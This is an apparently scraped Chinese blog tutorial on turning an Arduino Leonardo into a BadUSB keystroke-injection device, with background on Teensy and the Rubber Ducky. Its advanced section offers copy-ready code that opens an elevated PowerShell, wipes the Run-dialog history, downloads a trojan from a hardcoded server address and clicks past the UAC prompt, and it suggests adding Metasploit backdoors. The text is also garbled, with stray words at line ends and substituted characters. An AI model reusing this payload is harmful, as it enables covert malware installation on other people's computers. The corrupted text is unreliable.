0×00 介绍php
本文想以较简单的方式,叙述Arduino版BadUSB的制做过程。我知道在这以前已经有不少前辈都写过相关的文章,但小白可能还有点迷糊,因此这篇文章是快速带你们入门了解,我也是菜B大神不要喷,谢谢~。 html
“BadUSB”是计算机安全领域的热门话题之一,该漏洞由Karsten Nohl和Jakob Lell共同发现,并在2014年的BlackHat安全大会上公布。 虽然已隔一两年,但仍是有人在研究它,它的攻击方式也多种多样。shell
第一部分相关BadUSB介绍转载于:https://security.tencent.com/index.php/blog/msg/74编程
BadUSB原理安全
在介绍BadUSB的原理以前,笔者在这里先介绍下BadUSB出现以前,利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击的两种类型。分别是”USB RUBBERDUCKY”和”Teensy”。服务器
TEENSY介绍网络
攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个很是小并且功能完整的单片机开发系统,它的名字叫TEENSY。经过TEENSY你能够模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就能够向主机发送控制命令,从而彻底控制主机,不管自动播放是否开启,均可以成功。框架
关于TEENSY,能够参考天融信阿尔法实验室的《HID攻击之TEENSY实战》函数
USB RUBBER DUCKY介绍工具
简称USB橡皮鸭,是最先的按键注入工具,经过嵌入式开发板实现,后来发展成为一个彻底成熟的商业化按键注入攻击平台。它的原理一样是将USB设备模拟成为键盘,让电脑识别成为键盘,而后进行脚本模拟按键进行攻击。
这两种攻击方式,是在BadUSB公布以前,比较流行的两种HID攻击方式,缺陷在于要定制硬件设备,通用性比较差。可是BadUSB就不同了,它是在“USB RUBBER DUCKY”和“Teensy”攻击方式的基础上用通用的USB设备(好比U盘)。
U盘的内部构造
U盘由芯片控制器和闪存两部分组成,芯片控制器负责与PC的通信和识别,闪存用来作数据存储;闪存中有一部分区域用来存放U盘的固件,它的做用相似于操做系统,控制软硬件交互;固件没法经过普通手段进行读取。
BadUSB就是经过对U盘的固件进行逆向从新编程,至关于改写了U盘的操做系统而进行攻击的。
USB协议漏洞
为何要重写固件呢?下面咱们能够看看USB协议中存在的安全漏洞。
如今的USB设备不少,好比音视频设备、摄像头等,所以要求系统提供最大的兼容性,甚至免驱;因此在设计USB标准的时候没有要求每一个USB设备像网络设备那样占有一个惟一可识别的MAC地址让系统进行验证,而是容许一个USB设备具备多个输入输出设备的特征。这样就能够经过重写U盘固件,假装成一个USB键盘,并经过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。
BadUSB利用代码分析
笔者对KarstenNohl和Jakob Lell公布的代码进行简单的一个流程解析。
这样一个带有恶意代码的U盘就产生了,更详细的能够搜索Karsten Nohl 和 Jakob Lell公布的代码。
0×01 制做过程
好的废话我们很少说了,直接开始吧~咱们就是利用Arduino制做TEENSY 。Arduino是让一种叫作单片机的小型可编程电脑尽量简单地被使用,而且单片机可让物体得到交互功能。
来看一下咱们须要准备的材料吧
Arduino Leonardo //小型单片机模拟USB
Arduino IDE //用于烧录代码的编译器 http://www.arduino.cn/thread-5838-1-1.html
安卓数据线 //用于链接电脑USB
PC一台 //ok咱们能够开工了
扩展:追求完美的同窗能够考虑 ——超短micro转USB
Arduino Leonardo 单片机咱们能够去各大电商平台上去淘,特别是什么货都有的电商平台,相信你绝对能找到的。
我原本已经买好micro转USB了 结果当我拿起他们两个准备啪啪啪的时候~~~~
当场蒙逼,告诉我为何插不进去~~~~ 算了看成记念吧 ,因此我先当个炮灰,但愿其余小伙伴不要和我同样~~
感兴趣的能够考虑一下这个玩意 名字叫作OTG转接头 我已经再一次交出了个人身体 发现是真的。。。。 能够有!
好~你们先把arduino IDE先装好 安装过程很简单 就是下一步下一步,没什么难度。
安装好之后打开IDE。
打开咱们的IDE
IDE改版后,启动界面也变了,之前的版本不是这样的。打开之后是这样子的:
那好咱们就开始编写代码,不过在这以前咱们要先把Arduino Leonardo插上。而后咱们先保存一下这个项目文件,建议你们直接保存在桌面。
文件夹内就是咱们的demo文件。好~咱们开始编写代码:
void setup() { // put your setup code here, to run once: }
这段代码就是初始化咱们的程序。
void loop() { // put your main code here, to run repeatedly: }
这段代码是咱们要循环的地方。
以上只是程序给咱们搭好的框架,实际代码要咱们本身去编写。咱们让USB对电脑进行操做主要是想实现自动化键盘操做,因此咱们这边就要用到arduino的键盘函数
#include<Keyboard.h> //包含键盘模块的头文件 Keyboard.begin(); //开启键盘通讯 Keyboard.press(); //按下某个键 Keyboard.release(); //释放某个键 Keyboard.println(); /*输入某些内容 和一些网上的解释不一样 网上解释是输入内容而且能回车,而我测试的时候并不能回车 可能和版本有关 不要不要担忧有办法回车*/ Keyboard.end(); //结束键盘通讯
OK,以上就是咱们主要使用到的函数。
那好如今我写一些简单代码,而后你们能够感性地知道 代码的含义:
#include<Keyboard.h> //包含键盘模块头文件 void setup(); //初始化 Keyboard.begin();//开始键盘通讯 delay(1000);//延时1000毫秒,不要过短,由于天天电脑的运行速度都不同 Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里咱们最好这样写 否则大多数电脑在中文输入的状况下就会出现问题 Keyboard.release(KEY_CAPS_LOCK); //释放大写键 delay(500); Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键 delay(500); Keyboard.press('r');//按下r键 delay(500); Keyboard.release(KEY_LEFT_GUI);//松掉win键 Keyboard.release('r');//松掉r键 delay(500); Keyboard.println("cmd");//输入cmd进入DOS delay(500); Keyboard.press(KEY_RETURN); //按下回车键 Keyboard.release(KEY_RETURN); //释放回车键 delay(500); Keyboard.println("echo first test"); Keyboard.press(KEY_RETURN); //按下回车键 Keyboard.release(KEY_RETURN); //释放回车键 delay(500); Keyboard.press(KEY_CAPS_LOCK); //按下大写键 Keyboard.release(KEY_CAPS_LOCK); //释放大写键 咱们再次关闭开启的大写键 delay(500); Keyboard.end();//结束键盘通信 } void loop()//循环,这里的代码 { //循环体 写入你要循环的代码 }
那好如今咱们把代码写到IDE里面去。
而后咱们要选择正确的开发板和COM口,每台电脑都不同的。
一切准备就绪咱们点击编译,看看程序是否能正常执行。
提示这些说明咱们编译成功。
那么咱们离成功就是最后一步了——上传。
上传成功后,电脑会自动断开USB,而后又会从新链接,那么 Arduino Leonardo就会自动运行了。
咱们来看看: 首先开启大写键 而后打开了运行窗口 而后输入了CMD 接着要回车了
而后程序本身输入 echo first test 而且执行回车~~!! 大功告成~!
以上就是利用Arduino Leonardo实现自动化的ehco操做,模拟一个BadUSB。
0×02 进阶
那么我分享一下个人代码——主要实现的功能就是从远程服务器上下载咱们木马而后执行,而且不会产生记录,和网上的同窗实现的目的是同样的,但代码可能有所误差。好那么看代码,由于篇幅缘由,我就直接贴出,主要实现代码块。
有须要的同窗自行黏贴
Keyboard.println("powershell.exe -command start-process powershell -verb runAs"); /*开启管理员级别的powershell*/ Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); /*清除运行窗口产生的记录*/ Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //让cmd窗口变成一个很小的窗口 Keyboard.println("$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT"); //利用powershell 定义一个对象 Keyboard.println("$P.dOWNLOADfILE('HTTP://192.168.0.109/SUPER.EXE','c:\\SUPER.EXE')"); /*从服务端下载病毒 服务器地址和木马本身指定 还有木马将在目标机上存放的地址 本身设置*/ //本身想了一个比较笨的方法绕过UAC 就是询问管理员是否赞成的那个框框 Keyboard.press(KEY_LEFT_ARROW); //按住左方向键 Keyboard.release(KEY_LEFT_ARROW); //释放左方向键 Keyboard.press(KEY_RETURN); //按下回车键 Keyboard.release(KEY_RETURN);//释放enter键
注意~
1.这里咱们为何要开管理员的powershell 是由于从服务端下载文件的时候 首先CMD不支持,其次就算咱们在cmd里调用powershell 那也不是管理员身份下载会出错。因此咱们这里要开管理员的powershell 其实下载文件的操做code还有不少种 我这里是一种 若是你们有更好的下载方式能够和我说 谢谢 命令千奇百怪你们本身发挥
2.另外要注意的地方是在IDE编程的时候,指定目录是要用\\ 双斜杠。
3.这些命令字母的大小写是这样的,由于咱们在程序开头执行了开启大写键的这个操做 ,因此咱们想还原真实的字母就要在IDE里面把小写的改为大写,大写的改为小写 这样程序输出的时候就是咱们想要的结果
4.还有就是delay(); 延这个东西本身把握,不是说值都是惟一的。我这里可能相对来讲比较慢
最后附上键值对照表
Key Hexadecimal value Decimal value KEY_LEFT_CTRL 0x80 128 KEY_LEFT_SHIFT 0x81 129 KEY_LEFT_ALT 0x82 130 KEY_LEFT_GUI 0x83 131 KEY_RIGHT_CTRL 0x84 132 KEY_RIGHT_SHIFT 0x85 133 KEY_RIGHT_ALT 0x86 134 KEY_RIGHT_GUI 0x87 135 KEY_UP_ARROW 0xDA 218 KEY_DOWN_ARROW 0xD9 217 KEY_LEFT_ARROW 0xD8 216 KEY_RIGHT_ARROW 0xD7 215 KEY_BACKSPACE 0xB2 178 KEY_TAB 0xB3 179 KEY_RETURN 0xB0 176 KEY_ESC 0xB1 177 KEY_INSERT 0xD1 209 KEY_DELETE 0xD4 212 KEY_PAGE_UP 0xD3 211 KEY_PAGE_DOWN 0xD6 214 KEY_HOME 0xD2 210 KEY_END 0xD5 213 KEY_CAPS_LOCK 0xC1 193 KEY_F1 0xC2 194 KEY_F2 0xC3 195 KEY_F3 0xC4 196 KEY_F4 0xC5 197 KEY_F5 0xC6 198 KEY_F6 0xC7 199 KEY_F7 0xC8 200 KEY_F8 0xC9 201 KEY_F9 0xCA 202 KEY_F10 0xCB 203 KEY_F11 0xCC 204 KEY_F12 0xCD 205
固然我这边的代码还比较简单没有什么控制语句和其余函数,有兴趣的同窗能够看看这方便的编程知识,让这个BadUSB更加智能,会判断。
你们也能够结合Metasploit 进行后门、木马的植入,或者一些批处理文件,把本身电脑搞得乱七八糟,哈哈…
本文可能存在攻击性,请勿用于非法用途。我的研究彻底没问题,一切责任与本人无关,若有不足的地方但愿指点,谢谢。
参考文献:
http://www.myhack58.com/Article/60/76/2014/56812.htm
http://zone.wooyun.org/content/17931